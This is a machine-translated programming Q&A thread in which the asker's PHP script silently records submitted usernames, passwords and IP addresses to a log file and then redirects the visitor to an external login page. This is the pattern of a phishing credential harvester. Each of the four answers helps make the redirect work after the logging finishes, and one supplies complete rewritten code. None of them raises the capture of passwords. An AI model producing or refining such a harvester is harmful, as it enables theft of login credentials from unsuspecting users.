在运行脚本

时间:2016-06-05 07:22:38

标签: php css redirect button project

我正在尝试为一些朋友创建一个简单的Web应用程序,但我无法弄清楚如何为它执行php功能。

<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>

这应该是写一个用户名和密码以及登录IP的日志,这样如果需要,我的芽可以确保没有人登录那些不应该登录的。 在任何情况下,我如何制作它以便在记录这些细节后,将它们转发到另一个页面,例如主页? 有没有一种方法可以做到这一点,而无需过多地修改php的内容?

还不确定是否有办法通过修改我正在使用的按钮来执行此操作...

<input class="button-red" value="Log in" type="submit">

仍然需要运行PHP。

4 个答案:

答案 0 :(得分:0)

header ('Location: https://####.com/login/#');移到代码的末尾。

因此,一旦文件写入完成,页面将被重定向。

修改

请记住,在将任何输出发送回浏览器之前,需要调用header()函数。手段,在任何html之前应该使用它!     

// do your code for inserting the IP to the file

header ('Location: https://####.com/login/#'); // to redirect the page
die; // the script will not stop execution here, so the html that you might have in that page below this code won't be shown either

?>

答案 1 :(得分:0)

在php代码的末尾添加重定向,因为一旦它调用了header(),它将执行函数/重定向而不执行其余的代码&amp;在它之后添加退出/死亡。我认为这可能会阻止你的重定向。尝试调试或其他一些方法。

<?php
if(isset('button-name')){
    ...code...
    header('Location: http://www.example.com/');
    die();   // or exit(0);
}
?>

这里是参考http://php.net/manual/en/function.header.php 网址必须是绝对的

解决方法将使用html元标记在 php 之后添加html

<meta http-equiv="Location" content="http://example.com/">

或使用窗口的位置属性

执行php后的javascript调用
window.location.replace("http://example.com/");

答案 2 :(得分:0)

因为我很高兴我继续为你编写代码 将你的按钮html改为他的 <input class="button-red" value="Log in" type="submit" name="submit">

然后使用这个PHP代码

<?php
if(isset($_POST['submit'])){
  $handle = fopen("log.txt", "a");
  foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
  }
  fwrite($handle, "\r\n");
  fwrite($handle, "IP=");
  fwrite($handle, $_SERVER["REMOTE_ADDR"]);
  fwrite($handle, "\r\n");
  fwrite($handle, "---------------");
  fwrite($handle, "\r\n");
  fclose($handle);
  $codeRan = "true";
  if($codeRan == "true"){
    header ('Location: https://####.com/login/#');
  }
}
?>

答案 3 :(得分:0)

您应该在代码后面写header()
而不是这个:

<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>

写下这个:

<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);

// ?>  Your other HTML Code <?php

header ('Location: https://####.com/login/#');
?>